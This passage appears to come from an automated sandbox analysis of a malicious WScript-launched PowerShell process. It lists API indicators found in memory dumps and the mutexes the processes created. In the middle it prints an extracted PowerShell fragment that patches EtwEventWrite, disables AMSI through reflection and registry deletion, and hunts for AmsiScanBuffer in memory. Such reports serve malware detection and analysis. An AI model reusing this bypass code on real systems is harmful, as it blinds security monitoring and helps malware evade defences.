00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.47B00000.00000004.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.47B00000.00000004.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.2CDD0000.00000004.mdmp, 00000000-00007016.00000001.172521.2CE31000.00000004.mdmp, 00000000-00007016.00000001.172521.47B00000.00000004.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.47B00000.00000004.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00007016.00000001.172521.2CDD0000.00000004.mdmp, 00000000-00007016.00000001.172521.2CE31000.00000004.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00007016.00000001.172521.2CDD0000.00000004.mdmp, 00000000-00007016.00000001.172521.2CE31000.00000004.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00007016.00000001.172521.2CDD0000.00000004.mdmp, 00000000-00007016.00000001.172521.2CE31000.00000004.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "ReadProcessMemory"; Source: "00000000-00007016.00000001.172521.2CDD0000.00000004.mdmp, 00000000-00007016.00000001.172521.2CE31000.00000004.mdmp") Found reference to API (Indicator: "WriteProcessMemory"; Source: "00000000-00007016.00000001.172521.2CDD0000.00000004.mdmp, 00000000-00007016.00000001.172521.2CE31000.00000004.mdmp, 00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "GetModuleHandle"; Source: "00000000-00007016.00000001.172521.2CDD0000.00000004.mdmp, 00000000-00007016.00000001.172521.2CE31000.00000004.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleMode"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariable"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp, 00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "CreateFile"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "WriteConsole"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "GetTempPath"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp, 00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleFontInfo"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "Beep"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCtrlHandler"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "GetTextMetrics"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleWindow"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleScreenBufferInfoEx"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleScreenBufferInfoEx"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentConsoleFontEx"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "MapVirtualKey"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectory"; Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "GetProcessById"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "ConvertStringSidToSid"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "LookupAccountSid"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "NetApiBufferFree"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "SeTakeOwnershipPrivilege"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "LookupPrivilegeValue"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "RevertToSelf"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "LoadString"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "PrivilegeCheck"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "NetServerEnum"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "OpenThreadToken"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "SetThreadToken"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "ZwUnmapViewOfSection"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "NetServerGetInfo"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "CreateProcess"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "GetThreadContext"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "SetThreadContext"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "VirtualAllocEx"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "DuplicateTokenEx"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "LoadLibrary"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentDirectory"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to API (Indicator: "GetSidSubAuthority"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp")34:T126e,"ProcAddress([Win32.Kernel32]::GetModuleHandle("ntdll.dll"), "EtwEventWrite") if ($etwAddr -ne [IntPtr]::Zero) { $oldProtect = 0 $patchSize = if ([Environment]::Is64BitProcess) { 1 } else { 3 } $patchBytes = if ([Environment]::Is64BitProcess) { @(0xC3) } else { @(0xC2, 0x14, 0x00) } if ([Win32.Kernel32]::VirtualProtect($etwAddr, $patchSize, 0x40, [ref]$oldProtect)) { [System.Runtime.InteropServices.Marshal]::Copy($patchBytes, 0, $etwAddr, $patchSize) [Win32.Kernel32]::VirtualProtect($etwAddr, $patchSize, $oldProtect, [ref]$oldProtect) } } try { $amsiUtils = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') if ($amsiUtils) { $amsiUtils.GetField('amsiSession','NonPublic,Static').SetValue($null, $null) $amsiUtils.GetField('amsiContext','NonPublic,Static').SetValue($null, [IntPtr]::Zero) } } catch { } try { if (Test-Path 'HKLM:\SOFTWARE\Mic" in Source: AMSI "rosoft\AMSI\Providers' -ErrorAction SilentlyContinue) { Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers' -ErrorAction SilentlyContinue | ForEach-Object { Remove-Item $_.PSPath -Recurse -Force -ErrorAction SilentlyContinue } } } catch { } $a = "Ams" $b = "iSc" $c = "anBuf" $d = "fer" $signature = [System.Text.Encoding]::UTF8.GetBytes($a + $b + $c + $d) $hProcess = [Win32.Kernel32]::GetCurrentProcess() $sysInfo = New-Object Win32.SYSTEM_INFO [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo) $clrModules = [System.Collections.ArrayList]::new() $address = [IntPtr]::Zero $memInfo = New-Object Win32.MEMORY_INFO_BASIC $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH $maxAddr = $sysInfo.lpMaximumApplicationAddress.ToInt64() while ($address.ToInt64() -lt $maxAddr) { $queryResult = [Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeO" in Source: AMSI "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007016.00000000.171303.2CDD0000.00000004.mdmp 00000000-00007016.00000001.172521.2CDD0000.00000004.mdmp "gistry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00007016.00000000.171303.470B0000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00007016.00000000.171303.470B0000.00000004.mdmp 00000000-00007016.00000001.172521.470B0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007016.00000000.171303.470B0000.00000004.mdmp 00000000-00007016.00000001.172521.470B0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007016.00000000.171303.470B0000.00000004.mdmp 00000000-00007016.00000001.172521.470B0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007016.00000000.171303.470B0000.00000004.mdmp 00000000-00007016.00000001.172521.470B0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00007016.00000000.171303.49BCA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00007016.00000000.171303.49BCA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00007016.00000000.171303.49BCA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00007016.00000000.171303.49BCA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00007016.00000000.171303.49BCA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00007016.00000000.171303.49BCA000.00000002.mdmp "icrosoft.PowerShell.Commands.Managementgistry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00007016.00000001.172521.470B0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00007016.00000001.172521.47800000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00007016.00000001.172521.47800000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00007016.00000001.172521.47800000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007016.00000001.172521.478A9000.00000004.mdmp35:T920,Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6868:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6868:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6868:120:WilError_01" Process WScript.exe created mutex with name "SM0:6868:120:WilError_01" Process WScript.exe created mutex with name "Local\SM0:6868:304:WilStaging_02" Process WScript.exe created mutex with name "Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process WScript.exe created mutex with name "Local\SM0:6868:120:WilError_01" Process WScript.exe created mutex with name "SM0:6868:304:WilStaging_02" Process WScript.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6868:120:WilError_01" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7016:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:7016:304:WilStaging_02" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "SM0:7016:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:7016:120:WilError_01" Process powershell.exe created mutex with name "SM0:7016:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7016:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process 